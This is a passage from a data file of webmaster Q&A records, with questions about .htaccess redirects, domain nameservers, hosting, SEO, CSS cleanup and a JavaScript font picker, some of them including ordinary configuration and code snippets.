{"id":"9261","title":"Propagaging Apache rules Automatically for all folders Beneath Root","text":"my webroot folder \/httpdocs folder contains a .htaccess file The first lines look like this: RewriteEngine on RewriteBase \/ AddDefaultCharset UTF-8 Options +FollowSymLinks -Indexes -ExecCGI # DirectoryIndex index.php \/index.php # ServerSignature Off Now, I want all settings that I have set it to, to be propagated automatically to other folders as well. How can I do that? Thanks very much for suggestions."}
{"id":"18964","title":"Web Host for ASP.NET MVC Web Site","text":"I currently host a ASP.NET MVC site on Microsoft Azure. It's a great service, but a little pricey. Costs like $0.12 an hour just to have your site live, and then they also charge SQL Transfer and storage fees. Not CRAZY expensive, but like basically $100\/month even if the site isn't doing anything. I wanted to find a web host for an ASP.NET MVC site, that isn't going to break the bank while it's in its growing phase. Only data we really need is for storing user accounts for sign-up\/logins, and for hosting images. I know a lot of hosts serve PHP\/MySQL, and there's also plenty that serve ASP.NET Web Forms, but not nearly as many that serve ASP.NET MVC\/SQL Server. You guys know of any that suit these conditions and are pretty easy to setup? Thanks!"}
{"id":"9267","title":"Can I reuse my nameservers from one domain registrar with another?","text":"My regular domain is one I got from GoDaddy. Just recently, I registered a short .cr domain (Costa Rica) in http:\/\/www.nic.cr\/ . During registration, they asked for nameservers (and just nameservers), so I thought of reusing my GoDaddy nameservers. I kinda thought it would just be a straight-forward mapping, but nothing's happening, though. What am I missing here? (There is an option to use their own nameservers, but I just wanted to explore this option. If there's nothing to be had here, I'll fall back to using theirs.)"}
{"id":"49216","title":"How can I mask sub-directory to work as DocumentRoot for multiple domains pointing to the same location?","text":"I am trying to mask sub directories to effectively work as DocumentRoot for multiple domains. e.g. I have two domains - `domain1.com` & `domain2.com` both pointing to the same location. I want `domain1.com` to load contents in the DocumentRoot of the location whereas `domain2.com` should behave as if the DocumentRoot for it is within a subdirectory let's say `domain2.dir`. How do I achieve this using _.htaccess_? I tried the following but it did not work: RewriteCond %{HTTP_HOST} ^domain1\\.com [NC] RewriteRule (.*) \/domain2.dir [L] The error I get is as below: [Tue Jun 04 17:42:54 2013] [error] [client 192.168.1.30] Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. I would appreciate any help on this."}
{"id":"10739","title":"Money in from website","text":"EDIT 1: It seems that paypals micropayment system is currently my best option to retaining as much of the $1 as possible. Does anyone know of a way to retain even more of the $1? ORIGINAL QUESTION: I need to receive money from users from my webpage. They will only pay very small amounts, i.e. $1 max, but the total will probably go upto $10,000.00. What is the best way to receive this money from a webpage? When I say \"the best way\", i mean a method of getting the money from where I lose as little of it as possible in terms of fees for receiving the money."}
{"id":"10043","title":"How can I find unused\/unapplied CSS rules in a stylesheet?","text":"I've got a huge CSS file and an HTML file. I'd like to find out which rules are not used while displaying a HTML file. Are there tools for this? The CSS file has evolved over few years and from what I know no one has ever removed anything from it--people just wrote new overriding rules again and again. EDIT: It was suggested to use Dust-Me Selectors or Chrome's Web Page Performance tool. But they both work on level of selectors, and not individual rules. I've got lots of cases where a rule inside a selector is always overridden--and this is what I mostly want to get rid of. For example: body { color: white; padding: 10em; } h1 { color: black; } p { color: black; } ... ul { color: black; } All the text in my HTML is inside some wrapper element, so it is never white. `body`'s padding always works, so of course the whole `body` selector cannot be removed. And I'd like to get rid of such useless rules too. EDIT: And another case of useless rule: when it duplicates existing one without changing anything: a { margin-left: 5px; color: blue; } a:hover { margin-left: 5px; color: red; } I'd happily get rid of the second `margin-left`... again it seems to me that those tools does not find such things. EDIT: I appreciate all the answers, but sadly the tools you suggested did not make any useful suggestions. I upvoted your answers, but I'll wait for a tool that does things more granularly, as specified above. Thank you,"}
{"id":"10732","title":"Is it good to use same keyword for multiple pages in one domain?","text":"I want to know after Google recent updates, will it be good opt to use same keywords for multiple pages? Say- my keyword is \"driver update\" and I have a folder \"HP\" in website. Hp has lots of models like HP Elitebook, HP Envy, HP Mini, HP Pavilion and much more. HP Elitebook has many versions like HP Elitebook 2530p, HP Elitebook 2730p, HP Elitebook 8530w. Now should I create pages like \"Driver update in HP Elitebook 2530p\" , \"Driver update in HP Elitebook 2730p\", \"Driver update in P Elitebook 8530w\" or a single page \"Driver update in HP Elitebook\"? Which one will be the best option for better SE ranking- \" single page or multiple pages using same keyword for different model versions\" ?"}
{"id":"63039","title":"Creating more than one sitemap and relating it to a subdomain - will I be penalized?","text":"I'm thinking in creating a subdomain containing all the reviews from my products, for example: `http:\/\/reviews.mystore.com` At this subdomain, I have my `sitemap.xml` pointing for the reviews page about my product. So `reviews.mystore.com\/sitemap.xml` will be like: <url> <loc> http:\/\/reviews.mystore.com\/products\/204\/reviews <\/loc> <lastmod>2014-05-20T12:05:43-03:00<\/lastmod> <changefreq>weekly<\/changefreq> <priority>0.5<\/priority> <\/url> And my reviews page like: `http:\/\/reviews.mystore.com\/products\/204\/reviews` will have a reference to my original product page like: <meta content=\"http:\/\/mystore.com\/products\/my_cool_product\" property=\"og:url\"> <link href=\"http:\/\/mystore.com\/products\/my_cool_product\" rel=\"canonical\"> Notice to `content` and `href` pointing to the ORIGINAL product page. Will doing this increase or decrease my rank?"}
{"id":"49595","title":".htaccess file size causes 500 Internal Server Error","text":"As soon as my _.htaccess_ goes over approx 8410 bytes, I get a _500 Internal Server Error_. I don't think this is due to a bad redirect, as I have experimented with redirects in the _.htaccess_ and then with just text that is commented out `#`. (no actual commands in the _.htaccess_ file) Is there anything obvious that can cause this? **Update:** The site is on WordPress. Here are the redirects I was originally trying to add: RewriteEngine On ## 301 Redirects of old URLs to new # 301 Redirect 1 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^accesseries\/underlay\/prod_37\\.html$ \/product-category\/accessories\/underlays? [R=301,NE,NC,L] # 301 Redirect 2 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^accessories\/acoustic-underlay\/prod_29\\.html$ \/product\/acoustic-underlay\/? [R=301,NE,NC,L] # 301 Redirect 3 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^accessories\/cat_4\\.html$ \/product-category\/accessories\/? [R=301,NE,NC,L] # 301 Redirect 4 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^-bamboo-flooring\/accessories\/cat_8\\.html$ \/product-category\/accessories\/? [R=301,NE,NC,L] # 301 Redirect 5 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^-bamboo-flooring\/bamboo-floor\/natural-strandwoven-bamboo-semi-gloss-wide-board-135mm-click\/prod_151\\.html$ \/product\/natural-strand-woven-bamboo-semi-gloss-wide-board-135mm-click\/? [R=301,NE,NC,L] # 301 Redirect 6 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^-bamboo-flooring\/bamboo-floor\/strandwoven-chocolate-135mm-bamboo-flooring\/prod_174\\.html$ \/product\/strand-woven-chocolate-135mm-bamboo-flooring\/? [R=301,NE,NC,L] # 301 Redirect 7 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^-bamboo-flooring\/bamboo-floor\/strand-woven-kempas-bamboo-flooring\/prod_173\\.html$ \/product\/strand-woven-kempas-bamboo-flooring\/? [R=301,NE,NC,L] # 301 Redirect 8 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^-bamboo-flooring\/bamboo-floor\/strandwoven-walnut-wired-135mm-bamboo-flooring\/prod_176\\.html$ \/product\/strand-woven-walnut-wired-135mm-bamboo-flooring\/? [R=301,NE,NC,L] # 301 Redirect 9 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^-bamboo-flooring\/cat_7\\.html$ \/product-category\/bamboo-floor\/? [R=301,NE,NC,L] # 301 Redirect 10 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^-bamboo-installation\/info_8\\.html$ \/bamboo-installation\/? [R=301,NE,NC,L] # 301 Redirect 11 RewriteCond %{QUERY_STRING} ^act=cart$ [NC] RewriteRule ^cart\\.php$ \/cart\/? [R=301,NE,NC,L] # 301 Redirect 12 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^contact-us\/info_2\\.html$ \/contact-us\/? [R=301,NE,NC,L] # 301 Redirect 13 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^faqs\/info_9\\.html$ \/faqs\/? [R=301,NE,NC,L] # 301 Redirect 14 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^-floating-timber-floor\/black-butt-engineered-floating-timber\/prod_213\\.html$ \/product\/black-butt-engineered-floating-timber\/? [R=301,NE,NC,L] # 301 Redirect 15 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^-floating-timber-floor\/doussie-engineered-floating-timber\/prod_208\\.html$ \/product\/doussie-engineered-floating-timber\/? [R=301,NE,NC,L] # 301 Redirect 16 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^-floating-timber-floor\/smoked-oak-engineered-floating-timber\/prod_217\\.html$ \/product\/smoked-oak-engineered-floating-timber\/? [R=301,NE,NC,L] # 301 Redirect 17 RewriteCond %{QUERY_STRING} ^act=thanks$ [NC] RewriteRule ^index\\.php$ http:\/\/www.xxxxxxxxxx.com\/? [R=301,NE,NC,L] # 301 Redirect 18 RewriteCond %{QUERY_STRING} ^act=viewCat&catId=13$ [NC] RewriteRule ^index\\.php$ \/product-category\/samples\/bamboo-flooring-samples\/? [R=301,NE,NC,L] # 301 Redirect 19 RewriteCond %{QUERY_STRING} ^act=viewCat&catId=18$ [NC] RewriteRule ^index\\.php$ \/product\/bamboo-plastic-composite\/? [R=301,NE,NC,L] # 301 Redirect 20 RewriteCond %{QUERY_STRING} ^act=viewCat&catId=2$ [NC] RewriteRule ^index\\.php$ \/product-category\/bamboo-floor\/? [R=301,NE,NC,L] # 301 Redirect 21 RewriteCond %{QUERY_STRING} ^act=viewCat&catId=20$ [NC] RewriteRule ^index\\.php$ \/products\/? [R=301,NE,NC,L] # 301 Redirect 22 RewriteCond %{QUERY_STRING} ^act=viewCat&catId=3$ [NC] RewriteRule ^index\\.php$ \/product-category\/floating-timber-floor\/? [R=301,NE,NC,L] # 301 Redirect 23 RewriteCond %{QUERY_STRING} ^act=viewCat&catId=5$ [NC] RewriteRule ^index\\.php$ \/product-category\/laminate-flooring\/? [R=301,NE,NC,L] # 301 Redirect 24 RewriteCond %{QUERY_STRING} ^act=viewCat&catId=6$ [NC] RewriteRule ^index\\.php$ \/product-category\/accessories\/? [R=301,NE,NC,L] # 301 Redirect 25 RewriteCond %{QUERY_STRING} ^act=viewCat&catId=saleItems$ [NC] RewriteRule ^index\\.php$ \/product-category\/clearance-sale\/? [R=301,NE,NC,L] # 301 Redirect 26 RewriteCond %{QUERY_STRING} ^act=viewDoc&docId=3$ [NC] RewriteRule ^index\\.php$ \/faqs\/? [R=301,NE,NC,L] # 301 Redirect 27 RewriteCond %{QUERY_STRING} ^act=viewDoc&docId=4$ [NC] RewriteRule ^index\\.php$ \/faqs\/? [R=301,NE,NC,L] # 301 Redirect 28 RewriteCond %{QUERY_STRING} ^act=viewProd&productId=137$ [NC] RewriteRule ^index\\.php$ \/product\/laminate-flooring-goustein-wood\/? [R=301,NE,NC,L] # 301 Redirect 29 RewriteCond %{QUERY_STRING} ^act=viewProd&productId=164$ [NC] RewriteRule ^index\\.php$ \/product\/modern-black-brushed-finish-strand-woven-flooring\/? [R=301,NE,NC,L] # 301 Redirect 30 RewriteCond %{QUERY_STRING} ^act=viewProd&productId=165$ [NC] RewriteRule ^index\\.php$ \/product\/lime-wash-strand-woven-bamboo-flooring\/? [R=301,NE,NC,L] # 301 Redirect 31 RewriteCond %{QUERY_STRING} ^act=viewProd&productId=168$ [NC] RewriteRule ^index\\.php$ \/product\/country-bark\/? [R=301,NE,NC,L] # 301 Redirect 32 RewriteCond %{QUERY_STRING} ^act=viewProd&productId=173$ [NC] RewriteRule ^index\\.php$ \/product-category\/bamboo-floor\/14mm-bamboo-flooring\/? [R=301,NE,NC,L] # 301 Redirect 33 RewriteCond %{QUERY_STRING} ^act=viewProd&productId=178$ [NC] RewriteRule ^index\\.php$ \/product\/blue-gum-136-floating-timber\/? [R=301,NE,NC,L] # 301 Redirect 34 RewriteCond %{QUERY_STRING} ^act=viewProd&productId=199$ [NC] RewriteRule ^index\\.php$ \/product\/jarrah-laminate-floor-sample\/? [R=301,NE,NC,L] # 301 Redirect 35 RewriteCond %{QUERY_STRING} ^act=viewProd&productId=205$ [NC] RewriteRule ^index\\.php$ \/product\/elm-12mm-laminate-floor-sample\/? [R=301,NE,NC,L] # 301 Redirect 36 RewriteCond %{QUERY_STRING} ^act=viewProd&productId=209$ [NC] RewriteRule ^index\\.php$ \/product\/iroko-engineered-floating-timber\/? [R=301,NE,NC,L] # 301 Redirect 37 RewriteCond %{QUERY_STRING} ^act=viewProd&productId=222$ [NC] RewriteRule ^index\\.php$ \/product\/european-oak-engineered-floating-timber-sample\/? [R=301,NE,NC,L] # 301 Redirect 38 RewriteCond %{QUERY_STRING} ^act=viewProd&productId=236$ [NC] RewriteRule ^index\\.php$ \/product\/black-forest-5mm-vinyl-flooring\/? [R=301,NE,NC,L] # 301 Redirect 39 RewriteCond %{QUERY_STRING} ^act=viewProd&productId=65$ [NC] RewriteRule ^index\\.php$ \/product\/stair-nose\/? [R=301,NE,NC,L] # 301 Redirect 40 RewriteCond %{QUERY_STRING} ^act=viewProd&productId=83$ [NC] RewriteRule ^index\\.php$ \/product\/laminate-flooring-warm-teak\/? [R=301,NE,NC,L] # 301 Redirect 41 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^-laminate-flooring\/12mm-laminate-flooring\/blackbutt\/prod_156\\.html$ \/product\/blackbutt-12mm-laminate-floor\/? [R=301,NE,NC,L] # 301 Redirect 42 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^-laminate-flooring\/12mm-laminate-flooring\/tasmanian-oak\/prod_171\\.html$ \/product\/tasmanian-oak\/? [R=301,NE,NC,L] # 301 Redirect 43 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^-laminate-flooring\/8-3mm-laminate-flooring\/laminate-flooring-warm-teak\/prod_8\\.html$ \/product\/laminate-flooring-warm-teak\/? [R=301,NE,NC,L] # 301 Redirect 44 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^-laminate-flooring\/accessories\/cat_6\\.html$ \/product-category\/accessories\/? [R=301,NE,NC,L] # 301 Redirect 45 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^-laminate-flooring\/cat_5\\.html$ \/product-category\/laminate-flooring\/? [R=301,NE,NC,L] # 301 Redirect 46 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^-laminate-flooring\/country-classic-12mm-laminate\/cat_19\\.html$ \/product-category\/laminate-flooring\/12mm-country-classic-laminate-floor\/? [R=301,NE,NC,L] # 301 Redirect 47 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^-laminate-installation\/info_7\\.html$ \/laminate-installation\/? [R=301,NE,NC,L] # 301 Redirect 48 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^privacy-policy\/info_4\\.html$ \/faqs\/? [R=301,NE,NC,L] # 301 Redirect 49 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^-quotation-request\/info_5\\.html$ \/quotation-request\/? [R=301,NE,NC,L] # 301 Redirect 50 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^rainbow-flooring\/cat_16\\.html$ \/product-category\/rainbow-flooring\/? [R=301,NE,NC,L] # 301 Redirect 51 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^rainbow-flooring\/walnut-rainbow-flooring\/prod_112\\.html$ \/product\/walnut-rainbow-flooring\/? [R=301,NE,NC,L] # 301 Redirect 52 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^samples\/12mm-laminate-floor-samples\/kempas-laminate-floor-sample\/prod_195\\.html$ \/product\/kempas-laminate-floor-sample\/? [R=301,NE,NC,L] # 301 Redirect 53 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^samples\/12mm-laminate-floor-samples\/spotted-gum-laminate-floor-sample\/prod_196\\.html$ \/product\/spotted-gum-laminate-floor-sample\/? [R=301,NE,NC,L] # 301 Redirect 54 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^samples\/12mm-laminate-floor-samples\/tasmanian-oak-laminate-floor-sample\/prod_197\\.html$ \/product\/tasmanian-oak-laminate-floor-sample\/? [R=301,NE,NC,L] # 301 Redirect 55 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^samples\/bamboo-flooring-samples\/cat_13\\.html$ \/product-category\/samples\/bamboo-flooring-samples\/? [R=301,NE,NC,L] # 301 Redirect 56 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^samples\/bamboo-flooring-samples\/rosewood-strandwoven-bamboo-floor-135mm-click-sample\/prod_191\\.html$ \/product\/rosewood-strand-woven-bamboo-floor-135mm-click-sample\/? [R=301,NE,NC,L] # 301 Redirect 57 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^samples\/cat_9\\.html$ \/samples\/? [R=301,NE,NC,L] # 301 Redirect 58 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^samples\/floating-timber-floor-samples\/iroko-engineered-floating-timber-floor-sample\/prod_223\\.html$ \/product\/iroko-engineered-floating-timber-floor-sample\/? [R=301,NE,NC,L] # 301 Redirect 59 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^samples\/floating-timber-floor-samples\/jarrah-engineered-floating-timber-sample\/prod_224\\.html$ \/product\/jarrah-engineered-floating-timber-sample\/? [R=301,NE,NC,L] # 301 Redirect 60 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^samples\/floating-timber-floor-samples\/merbau-engineered-floating-timber-sample\/prod_226\\.html$ \/product\/merbau-engineered-floating-timber-sample\/? [R=301,NE,NC,L] # 301 Redirect 61 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^samples\/floating-timber-floor-samples\/spotted-gum-engineered-floating-timber-sample\/prod_228\\.html$ \/product\/spotted-gum-engineered-floating-timber-sample\/? [R=301,NE,NC,L] # 301 Redirect 62 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^samples\/floating-timber-floor-samples\/sydney-blue-gum-engineered-floating-timber-sample\/prod_220\\.html$ \/product\/sydney-blue-gum-engineered-floating-timber-sample\/? [R=301,NE,NC,L] # 301 Redirect 63 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^shop\\.php\/-laminate-flooring\/accessories\/laminate-flooring-accessories-click-stairnose\/prod_251\\.html$ \/product\/stair-nose\/? [R=301,NE,NC,L] # 301 Redirect 64 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^shop\\.php\/-laminate-flooring\/country-classic-12mm-laminate\/country-classic-polar-white\/prod_243\\.html$ \/product\/country-classic-polar-white\/? [R=301,NE,NC,L] # 301 Redirect 65 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^shop\\.php\/samples\/12mm-laminate-floor-samples\/country-classic-polar-white\/prod_244\\.html$ \/product\/country-classic-polar-white-sample\/? [R=301,NE,NC,L] # 301 Redirect 66 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^shop\\.php\/samples\/12mm-laminate-floor-samples\/rustic-oak-12mm-laminate-floor\/prod_248\\.html$ \/product\/rustic-oak-12mm-laminate-floor-sample\/? [R=301,NE,NC,L] # 301 Redirect 67 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^shop\\.php\/samples\/vinyl-flooring-samples\/cat_25\\.html$ \/product-category\/samples\/vinyl-flooring-samples\/? [R=301,NE,NC,L] # 301 Redirect 68 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^shop\\.php\/vinyl-flooring\/cat_24\\.html$ \/product-category\/vinyl-floor\/? [R=301,NE,NC,L] # 301 Redirect 69 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^solardeck-tiles\/cat_22\\.html$ \/product-category\/solardeck-tiles\/? [R=301,NE,NC,L] # 301 Redirect 70 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^solardeck-tiles\/solardeck-tiles\/prod_206\\.html$ \/product\/solardeck-tiles\/? [R=301,NE,NC,L] # 301 Redirect 71 RewriteCond %{QUERY_STRING} ^$ RewriteRule ^terms-conditions\/info_3\\.html$ \/faqs\/? [R=301,NE,NC,L] I'm getting errors like this in my log: Invalid command 'aminate-flooring\/tasmanian-oak\/prod_171\\\\.html$', perhaps misspelled or defined by a module not included in the server configuration, referer: http:\/\/www.xxxxxxxx.com\/laminate-installation\/ Invalid command ',NE,NC,L]', perhaps misspelled or defined by a module not included in the server configuration Invalid command ',L]#', perhaps misspelled or defined by a module not included in the server configuration"}
{"id":"67485","title":"Why Can't I Add Google Font Families In cPanel Branding Editor?","text":"I'm working on my own cPanel x3 theme. I've edited the stdheader.html file and have added this: <link href=\"https:\/\/fonts.googleapis.com\/css?family=Dosis|Roboto+Condensed|Vollkorn\" rel=\"stylesheet\" type=\"text\/css\"> <link href=\"https:\/\/cdnjs.cloudflare.com\/ajax\/libs\/font-awesome\/4.1.0\/css\/font-awesome.min.css\" rel=\"stylesheet\"> These are font families and font awesome. However, it just doesn't take. There are no errors in my Chrome console, but they also don't seem to be called. In others words that code is being ignored, and is not showing up in the source code. Can someone tell me why?"}
{"id":"63035","title":"What percent of all active IP + User Agent combinations are not unique?","text":"It's fairly common practice to define a unique user by a 1-to-1 hash of IP + User Agent. But not all unique users have a unique IP + User Agent combination. Thus: collisions - events misattributed to users who did not fire those events. This is especially problematic when trying to track unique users who use similar machines and settings all under the same roof of a large organization like a school or enterprise. My question is: What is the global background probability of IP + User Agent concurrency at any given time? I assume the rate is different for different times of day and regions. But I'm curious what the standard is."}
{"id":"30789","title":"Installing tumblr on a subdirectory","text":"I'm trying to figure out how to get a tumblr blog to run under a subdirecory (not subdomain) and I'm kind of stuck. I was thinking of changing the cname of my domain to tumblr blog but that would change the entire domain, correct? Would it be done somewhere in the .htacess? I've seen it in action here http:\/\/www.senanyc.com\/blog\/ but I have no idea how they did it ."}
{"id":"44372","title":"My website title shows up slightly different from what's in my title tag, only in Google search","text":"I've included my page title in the title tag in this format: \" blah blah blah | sitename \". But for some reason it's showing up on Google search results as \" sitename: blah blah blah \". It shows up right on the actual tab itself, and even right on both Bing and Yahoo search, but different on Google search. Can't figure out why. EDIT: Let me clarify: I really doubt that this is due to Google having not crawled my website yet. The title it previously had was very different from this (several different words), and the title that currently shows up on the search is not even remotely similar to my old one. Hence the confusion. And I've already submitted it and a sitemap to the Google webmasters tool."}
{"id":"12395","title":"Remove readmore titles from joomla","text":"How can I remove the article title from the readmore link in Joomla? I don't have sh404SEF. <?php if ($this->item->readmore_register) : echo JText::_('Register to read more...'); elseif ($readmore = $this->item->params->get('readmore')) : echo $readmore; else : echo JText::sprintf('Read more', $this->escape($this->item->title)); endif; ?> Change this rule: echo JText::sprintf('Read more', $this->escape($this->item->title)); To: echo 'Read More'; Is also not corrent because it's not multilangual. Anyone knows the solution?"}
{"id":"12392","title":"What is the optimal folder structure for a web directory?","text":"I've been doing web development for years, and I've always done a web structure similar to this: public_html\/login.php public_html\/css\/login.css public_html\/js\/login.js public_html\/img\/logo.png I've seen other people use: styles\/login.css images\/logo.png And then recently I found out that my co-worker likes: public_html\/a\/login.js - application public_html\/s\/login.css - styles public_html\/i\/logo.png - images public_html\/p\/photo1.jpg - photos public_html\/f\/menu.swf - flash Other than saving a byte or two, are there any advantages or disadvantages to any of these options? Is there a best practice for this concept?"}
{"id":"26013","title":"PHP framework suggestions","text":"I'm going to be creating a site for a business with the following: * Single Item purchases with Paypal, Google Checkout and Amazon Checkout * Digital Downloads for members from a CDN * Forum * Voting on different items While that seems rather simple having to deal with the three different payment gateways is a big pain in the ass. Django has a great payment library which works for all three but I'm not able to find one for any of the PHP frameworks. Anyone have any suggestions? I'm posting here as suggested by someone at Stackoverflow."}
{"id":"26011","title":"I need this Font Picker for my project but I'm not able to get it working.","text":"I am trying to create a \"FontPicker\" just like a normal \"color picker\". I have see many websites implementing \"font picker\" please check out http:\/\/mklogo.com for example, where the fonts are categorised and gives an option for an user to choose any of them from the list.... In mklogo they have used three files 'index.html' , 'FontPicker.JS' and 'fonts.html' Their Fontpicker.js contains FontPicker_targetInput = null; function FontPicker_writeDiv() { document.writeln(\"<DIV ID=\\\"fontPickerDiv\\\" STYLE=\\\"position:absolute;visibility:hidden;\\\"> <\/DIV>\"); } function FontPicker_show(anchorname) { this.showPopup(anchorname); } function FontPicker_pickFont(font,win) { win.close(); pickFont(font); } \/\/ A Default \"pickFont\" function to accept the font passed back from popup. \/\/ User can over-ride this with their own function. function pickFont(font) { if (FontPicker_targetInput==null) { alert(\"Target Input is null, which means you either didn't use the 'select' function or you have no defined your own 'pickFont' function to handle the picked font!\"); return; } FontPicker_targetInput.value = font; } \/\/ This function is the easiest way to popup the window, select a font, and \/\/ have the value populate a form field, which is what most people want to do. function FontPicker_select(inputobj,linkname) { if (inputobj.type!=\"text\" && inputobj.type!=\"hidden\" && inputobj.type!=\"textarea\") { alert(\"fontpicker.select: Input object passed is not a valid form input object\"); window.FontPicker_targetInput=null; return; } window.FontPicker_targetInput = inputobj; this.show(linkname); } \/\/ This function runs when you move your mouse over a font block, if you have a newer browser function FontPicker_highlightColor(c) { var thedoc = (arguments.length>1)?arguments[1]:window.document; var d = thedoc.getElementById(\"fontPickerSelectedColor\"); d.style.backgroundColor = c; d = thedoc.getElementById(\"fontPickerSelectedColorValue\"); d.innerHTML = c; } function FontPicker() { var windowMode = false; \/\/ Create a new PopupWindow object if (arguments.length==0) { var divname = \"fontPickerDiv\"; } else if (arguments[0] == \"window\") { var divname = ''; windowMode = true; } else { var divname = arguments[0]; } if (divname != \"\") { var fp = new PopupWindow(divname); } else { var fp = new PopupWindow(); fp.windowProperties=\"toolbar=no,location=no,status=no,menubar=no,scrollbars,resizable,alwaysRaised,dependent,titlebar=no\"; \/\/fp.setSize(500,500); } \/\/ Object variables fp.currentValue = \"#FFFFFF\"; \/\/ Method Mappings fp.writeDiv = FontPicker_writeDiv; fp.highlightColor = FontPicker_highlightColor; fp.show = FontPicker_show; fp.select = FontPicker_select; fp.setUrl(\"\/fonts.html\"); fp.offsetY = 25; fp.autoHide(); return fp; } Their Index.html Contains <html> <head> <title>mklogo - imagemagick logo generator and composite tool<\/title> <link rel=\"stylesheet\" href=\"http:\/\/mklogo.com\/style.css\" type=\"text\/css\"> <META NAME=\"Description\" CONTENT=\"Converts text to an image, allowing font selection, effects, color, rotation, etc.\"> <\/head> <body> <script language=javascript> function rollLogo() { document.getElementById('logo').src='http:\/\/mklogo.com\/logo' + (1+Math.floor(Math.random()*6)) + '.png'; } <\/script> <img alt=\"mklogo\" id=logo align=center src=\"http:\/\/mklogo.com\/logo2.png\" onclick=\"rollLogo()\"> <p> <script LANGUAGE=\"Javascript\" SRC=\"http:\/\/mklogo.com\/ColorPicker2.js\"><\/script> <script LANGUAGE=\"Javascript\" SRC=\"FontPicker.js\"><\/script> <script language=javascript> var cp = new ColorPicker(); var fp = new FontPicker('window'); function pickFont(font) { document.getElementById('fimg').src='http:\/\/mklogo.com\/img\/font\/' + font + '.png'; document.getElementById('fid').value=font; } if (document.getElementById('fid').value) { pickfont(document.getElementById('fid').value); } <\/script> <form action=\"gen.cgi\" method=post> <input type=hidden name=fid id=fid value=\"\"> <table> <tr> <td>Text:<\/td> <td><input name=text value=\"Logo Text\"> <\/tr> <tr valign=center> <td style=\"padding-top:5px\">Font:<\/td> <td><img id=fimg src=\"http:\/\/mklogo.com\/img\/font\/Helvetica.png\" border=0> <\/td> <td> <A HREF=\"#\" onClick=\"fp.show('fpick');return false;\" NAME=\"fpick\" ID=\"fpick\" class=pick>Pick<\/a> <\/td> <\/tr> <tr> <td>Size:<\/td> <td><input name=size value=\"40\" size=10> pt <\/tr> <\/table> <p> <input type=submit name=go value=\"Generate Image\" style=\"display:inline;\"> <\/p> <\/form> <SCRIPT LANGUAGE=\"JavaScript\">cp.writeDiv()<\/SCRIPT> <p style=\"border-top:1px dotted black; padding-top: 10px;\"> <\/body> <\/html> and their fonts.html contains <head> <title>mklogo - select font<\/title> <link rel=\"stylesheet\" href=\"\/style.css\" type=\"text\/css\"> <\/head> <body> <p><form method=get action=\"\/fonts.html\" style=\"display:inline\"><input type=submit name=cat value=\"Favorites\"><\/form> <div id=\"Favorites\"> <A HREF=\"#\" onClick=\"window.opener.FontPicker_pickFont(1549,window); return false;\" STYLE=\"text-decoration:none;\"><img alt=\"Blade Runner Movie Font \" style=\"border: outset 1pt\" border=1 vspace=1 hspace=1 src=\"\/img\/font\/1549.png\"><\/a> <A HREF=\"#\" onClick=\"window.opener.FontPicker_pickFont(1265,window); return false;\" STYLE=\"text-decoration:none;\"><img alt=\"Candice \" style=\"border: outset 1pt\" border=1 vspace=1 hspace=1 src=\"\/img\/font\/1265.png\"><\/a> <A HREF=\"#\" onClick=\"window.opener.FontPicker_pickFont(1337,window); return false;\" STYLE=\"text-decoration:none;\"><img alt=\"Copperplate Gothic Bold \" style=\"border: outset 1pt\" border=1 vspace=1 hspace=1 src=\"\/img\/font\/1337.png\"><\/a> <A HREF=\"#\" onClick=\"window.opener.FontPicker_pickFont(1363,window); return false;\" STYLE=\"text-decoration:none;\"><img alt=\"Engravers MT Bold\" style=\"border: outset 1pt\" border=1 vspace=1 hspace=1 src=\"\/img\/font\/1363.png\"><\/a> <A HREF=\"#\" onClick=\"window.opener.FontPicker_pickFont(1383,window); return false;\" STYLE=\"text-decoration:none;\"><img alt=\"Franklin Gothic Heavy \" style=\"border: outset 1pt\" border=1 vspace=1 hspace=1 src=\"\/img\/font\/1383.png\"><\/a> <A HREF=\"#\" onClick=\"window.opener.FontPicker_pickFont(1404,window); return false;\" STYLE=\"text-decoration:none;\"><img alt=\"Impact \" style=\"border: outset 1pt\" border=1 vspace=1 hspace=1 src=\"\/img\/font\/1404.png\"><\/a> <A HREF=\"#\" 